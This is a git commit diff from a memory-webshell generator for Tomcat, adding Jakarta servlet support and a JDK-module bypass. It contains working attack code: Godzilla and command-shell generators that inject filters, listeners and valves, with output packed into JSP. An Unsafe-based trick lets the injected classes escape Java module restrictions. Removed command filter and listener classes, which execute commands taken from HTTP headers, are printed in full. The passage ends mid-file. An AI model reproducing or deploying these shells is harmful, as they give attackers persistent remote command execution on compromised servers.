mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support bypassJdkModule and Jakarta
This commit is contained in:
@@ -18,19 +18,19 @@ jobs:
|
||||
java-version: 8
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
- name: Test with Gradle
|
||||
run: ./gradlew test
|
||||
- name: Unit Test with Gradle
|
||||
run: ./gradlew :generator:test --info
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --info
|
||||
continue-on-error: true
|
||||
- name: Merge Jacoco
|
||||
run: ./gradlew jacocoTestReport
|
||||
- name: Generate JaCoCo Badge
|
||||
uses: cicirello/jacoco-badge-generator@v2
|
||||
with:
|
||||
jacoco-csv-file: generator/build/reports/jacoco/test/jacocoTestReport.csv
|
||||
badges-directory: .github/badges
|
||||
jacoco-csv-file: build/reports/jacoco/test/jacocoTestReport.csv
|
||||
generate-coverage-badge: false
|
||||
generate-branches-badge: false
|
||||
generate-coverage-endpoint: true
|
||||
coverage-endpoint-filename: jacoco.json
|
||||
generate-summary: true
|
||||
summary-filename: coverage-summary.json
|
||||
- name: Upload
|
||||
uses: stefanzweifel/git-auto-commit-action@v5
|
||||
with:
|
||||
|
||||
+22
-43
@@ -1,51 +1,30 @@
|
||||
buildscript {
|
||||
repositories {
|
||||
maven {
|
||||
url "https://plugins.gradle.org/m2/"
|
||||
}
|
||||
}
|
||||
dependencies {
|
||||
classpath "io.freefair.gradle:lombok-plugin:8.11"
|
||||
}
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'jacoco'
|
||||
}
|
||||
|
||||
allprojects {
|
||||
apply(plugin: 'java')
|
||||
apply(plugin: 'jacoco')
|
||||
apply(plugin: "io.freefair.lombok")
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
jacocoTestReport {
|
||||
reports {
|
||||
xml.required = true
|
||||
csv.required = true
|
||||
html.required = true
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
afterEvaluate {
|
||||
executionData.from fileTree(rootDir) {
|
||||
include '**/build/jacoco/*.exec'
|
||||
}
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
sourceDirectories = files('generator/src/main/java')
|
||||
|
||||
jacocoTestReport {
|
||||
dependsOn test
|
||||
}
|
||||
|
||||
dependencies {
|
||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||
testImplementation 'org.testcontainers:testcontainers:1.20.4'
|
||||
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
|
||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
tasks.withType(Test).tap {
|
||||
configureEach {
|
||||
testLogging {
|
||||
events "passed", "skipped", "failed"
|
||||
}
|
||||
}
|
||||
classDirectories.from(
|
||||
fileTree('generator/build/classes/java/main') {
|
||||
excludes = [
|
||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||
'com/reajason/javaweb/memsell/**/injector/**',
|
||||
'com/reajason/javaweb/memsell/**/command/**',
|
||||
'com/reajason/javaweb/config/**'
|
||||
]
|
||||
}
|
||||
)
|
||||
}
|
||||
}
|
||||
+14
-18
@@ -1,29 +1,21 @@
|
||||
plugins {
|
||||
id "java"
|
||||
id "jacoco"
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.memsell'
|
||||
version = '1.0-SNAPSHOT'
|
||||
|
||||
test {
|
||||
dependsOn(":vul-webapp:build")
|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
|
||||
jacocoTestReport {
|
||||
reports {
|
||||
html.required = true
|
||||
csv.required = true
|
||||
}
|
||||
afterEvaluate {
|
||||
classDirectories.setFrom(files(classDirectories.files.collect {
|
||||
fileTree(dir: it, exclude: [
|
||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||
'com/reajason/javaweb/memsell/**/injector/**',
|
||||
'com/reajason/javaweb/memsell/**/command/**',
|
||||
'com/reajason/javaweb/config/**'
|
||||
])
|
||||
}))
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy:1.15.1'
|
||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
@@ -49,4 +41,8 @@ dependencies {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
||||
}
|
||||
|
||||
|
||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
@@ -16,14 +17,14 @@ public class GeneratorMain {
|
||||
public static void main(String[] args) throws IOException {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.FILTER;
|
||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.pass("passFilter")
|
||||
.key("keyFilter")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test")
|
||||
.build();
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
|
||||
if (generateResult != null) {
|
||||
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
@@ -31,6 +32,7 @@ public class GeneratorMain {
|
||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
||||
System.out.println(shellConfig);
|
||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
String jspContent = new String(jspPacker.pack(generateResult));
|
||||
System.out.println(jspContent);
|
||||
@@ -38,9 +40,13 @@ public class GeneratorMain {
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
switch (server) {
|
||||
case TOMCAT:
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig);
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
|
||||
case BES:
|
||||
break;
|
||||
case RESIN:
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.implementation.MethodCall;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ByPassJdkModuleInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) boolean returnValue) {
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
|
||||
Object module = getModuleM.invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
||||
returnValue = true;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder
|
||||
.defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.invokable(isTypeInitializer())
|
||||
.intercept(MethodCall.invoke(named("byPassJdkModule")))
|
||||
.defineMethod("byPassJdkModule", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.intercept(FixedValue.value(false))
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("byPassJdkModule"),
|
||||
Advice.to(ByPassJdkModuleInterceptor.class)));
|
||||
}
|
||||
}
|
||||
+14
-11
@@ -10,32 +10,35 @@ import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return 0;
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return 0;
|
||||
return flags;
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(
|
||||
TypeDescription instrumentedType,
|
||||
ClassVisitor classVisitor,
|
||||
Implementation.Context implementationContext,
|
||||
TypePool typePool,
|
||||
FieldList<FieldDescription.InDefinedShape> fields,
|
||||
MethodList<?> methods,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor,
|
||||
@NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool,
|
||||
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
return new ClassRemapper(
|
||||
classVisitor,
|
||||
new Remapper() {
|
||||
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import net.bytebuddy.utility.nullability.MaybeNull;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper {
|
||||
|
||||
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper();
|
||||
|
||||
private final int targetJdkVersion;
|
||||
|
||||
public TargetJDKVersionVisitorWrapper() {
|
||||
targetJdkVersion = Constants.DEFAULT_VERSION;
|
||||
}
|
||||
|
||||
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) {
|
||||
this.targetJdkVersion = targetJdkVersion;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
|
||||
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
|
||||
@Override
|
||||
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
|
||||
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
public class Constants {
|
||||
public static final int DEFAULT_VERSION = Opcodes.V1_6;
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,4 +23,6 @@ public class ShellConfig {
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
}
|
||||
@Builder.Default
|
||||
private int targetJdkVersion = Opcodes.V1_5;
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
@@ -19,6 +20,7 @@ public class CommandGenerator {
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
@@ -17,6 +22,14 @@ public class GodzillaGenerator {
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
@@ -25,13 +38,26 @@ public class GodzillaGenerator {
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(godzillaClass)
|
||||
.name(godzillaClassName)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
||||
.name(godzillaClassName);
|
||||
|
||||
if (changeClassVersion) {
|
||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
||||
}
|
||||
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (useJakarta) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,14 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.util.Objects;
|
||||
@@ -19,14 +23,24 @@ public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
.name(injectClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName))
|
||||
.make()) {
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memsell.InjectorGenerator;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
@@ -20,6 +24,7 @@ import java.util.Map;
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String FILTER = "Filter";
|
||||
@@ -28,6 +33,7 @@ public class TomcatShell {
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String WEBSOCKET = "Websocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
@@ -36,12 +42,15 @@ public class TomcatShell {
|
||||
*/
|
||||
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
|
||||
|
||||
|
||||
static {
|
||||
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
// tomcat 无法同时引入两个版本的包
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -51,19 +60,20 @@ public class TomcatShell {
|
||||
|
||||
static {
|
||||
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
byte[] shellBytes;
|
||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
||||
switch (shellTool) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
@@ -73,7 +83,10 @@ public class TomcatShell {
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue());
|
||||
godzillaConfig.getHeaderValue(),
|
||||
useJakarta,
|
||||
targetJdkVersion
|
||||
);
|
||||
break;
|
||||
}
|
||||
case CMD: {
|
||||
@@ -93,7 +106,8 @@ public class TomcatShell {
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern());
|
||||
shellConfig.getUrlPattern(),
|
||||
targetJdkVersion);
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
|
||||
+1
-1
@@ -45,4 +45,4 @@ public class CommandFilter implements Filter {
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
-40
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandJakartaFilter implements Filter {
|
||||
public String headerName;
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getHeader(headerName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.ServletOutputStream;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandJakartaListener implements ServletRequestListener {
|
||||
public String headerName;
|
||||
|
||||
public CommandJakartaListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
